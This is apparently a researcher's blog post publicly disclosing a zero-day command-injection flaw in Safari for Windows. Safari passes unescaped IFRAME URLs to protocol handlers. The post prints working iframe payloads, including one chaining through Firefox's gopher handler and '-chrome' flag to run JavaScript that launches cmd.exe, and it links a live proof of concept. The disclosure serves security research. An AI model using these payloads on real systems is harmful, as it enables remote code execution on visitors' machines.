Apple released version 3 of their popular Safari web browser today, with the added twist of offering both an OS X and a Windows version. Given that Apple has had a lousy track record with security on OS X, in addition to a hostile attitude towards security researchers, a lot of people are expecting to see quite a number of vulnerabilities targeted towards this new Windows browser.
I downloaded and installed Safari for Windows 2 hours ago, when I started writing this, and I now have a fully functional command execution vulnerability, triggered without user interaction simply by visiting a web site. I will not sell this one to ZDI or iDefense but instead release it here, as I have done lately with a number of 0day vulnerabilities. This place is where you get my latest research 
A bunch of other security researchers such as David Maynor and Aviv Raff have been pounding safariWin with their fuzzing tools, going through thousands upon thousands of test pages in the hopes of triggering some form of memory corruption for potential exploitation. I am a big fan of fuzzing and believe it can produce some tremendous results, but sometimes good old fashioned application specific knowledge can get you far.
The logic behind this vulnerability is quite simple and the vulnerability class has been known and understood for years, namely that of protocol handler command injection. A browser typically consists of a multitude of different URL schemes, some of which are handled by internal functions and others that are handed off to external applications. On the OS X platform Apple has enjoyed the same luxury and the same curse as Internet Explorer has had on the Windows platform, namely intimate operating system knowledge. The integration with the originally intended operating system is tightly defined, but the breadth of knowledge is crippled when the software is released on other systems and mistakes and mishaps occur. You can still find references to the OS X proprietary URL protocols open-help-anchor: and network-diagnostics: inside the resource files for the Windows release.
URL protocol handlers on the Windows platform work by executing a process with specific command line arguments. When Apple released Safari for the Windows platform they neglected to implement a proper level of input validation for these arguments, which means that you can break out of the intended confines and wreak havoc. A typical request for a URL such as myprotocol://someserver.com/someargument would be turned into a command line resembling the following.
“C:\Program Files\My Application\myprotocol.exe” “someserver.com/someargument”
This works almost as expected in Safari. With a simple link you cannot pass along arbitrary characters to the command line which is later executed and most attempts at doing so will simply be URL escape, such that myprotocol://someserver.com/some"[SPACE]argument is turned into
“C:\Program Files\My Application\myprotocol.exe” “someserver.com/some”%20argument
This cannot be used to exploit Safari as the command line to be executed is simply invalid. However, Safari does not properly validate the input when these same requests are handled through IFRAME elements, such as
<iframe src=’myprotocol://someserver.com” < foo > bar | foobar “arg1′></iframe>
which is turned into the following command line.
“C:\Program Files\My Application\myprotocol.exe” “someserver.com” < foo > bar | foobar “arg1″
As the knowledgeable reader might have noticed we now have everything we need to implement an attack against the entire range of available URL protocol handlers on the Windows platform. We could pick the telnet or callto protocols and provide unfiltered input to an argument of our choice. For this demonstration I have opted to attempt an exploit against the gopher: URL protocol which is handled by my local Firefox installation. We hash together an example request..
<iframe src=’gopher://larholm.com” |cmd /c echo “FOO’></iframe>
..Fire up procexp, launch safari and watch the output.
“C:\PROGRA~1\MOZILL~3\FIREFOX.EXE” -url “gopher://larholm.com” |cmd /c echo “FOO” -requestPending
Now this might be fun enough, but what if we wanted something a bit more customizable? Firefox is built on top of the Mozilla XPCOM platform and we might as well use some of these capable interfaces at our disposal to handle process instantiation. The code we want to execute is the following.
C=Components.classes;I=Components.interfaces;
file=C['@mozilla.org/file/local;1'].createInstance(I.nsILocalFile);
file.initWithPath(’C:\\windows\\system32\\cmd.exe’);
process=C['@mozilla.org/process/util;1'].createInstance(I.nsIProcess);
process.init(file);
process.run(true,{},0);
alert(process);
Due to the levels of URL escaping the following might be a bit confusing to read, but feel free to dissect it for your own variations.
<iframe src='gopher://larholm.com" -chrome "javascript:C=Components.classes;I=Components.interfaces;
file=C['@mozilla.org/file/local;1'].createInstance(I.nsILocalFile);
file.initWithPath(’C:’+String.fromCharCode(92)
+String.fromCharCode(92)+’Windows’
+String.fromCharCode(92)+String.fromCharCode(92)+’System32′
+String.fromCharCode(92)+String.fromCharCode(92)+’cmd.exe’);
process=C['@mozilla.org/process/util;1'].createInstance(I.nsIProcess);
process.init(file);
process.run(true,{},0);alert(process)’></iframe<
And there you have it, command execution. A fully functional PoC exploit is located below. Warning: This WILL crash your Safari browser on Windows. Close any existing Firefox processes that you might currently be running, then navigate Safari to the following page.
http://www.larholm.com/vuln/safaripoc.html
The above PoC exploit will exploit Safari by bouncing through Firefox via the Gopher protocol, passing on unfiltered input for the -chrome argument that Firefox exposes. When it has done this it will launch C:\Windows\System32\cmd.exe with any arguments that have been specified in the call to the process.run method.
It is important to know that, even though this PoC exploit uses Firefox, the actual vulnerability is within the lack of input validation for the command line arguments handed to the various URL protocol handlers on your machine. As such, there are a lot of different attack vectors for this vulnerability, I simply chose Firefox and the Gopher URL protocol because I was familiar with these.
I hope you enjoyed the fruits of my 2 hours of labour. Please feel free to add my RSS feed to your reader and come back again tomorrow or next week for a fresh batch of 0day vulnerabilities
Cheers
Thor Larholm
UPDATE
The site was down for a couple of hours due to Slashdot, TechMeme and Reddit.
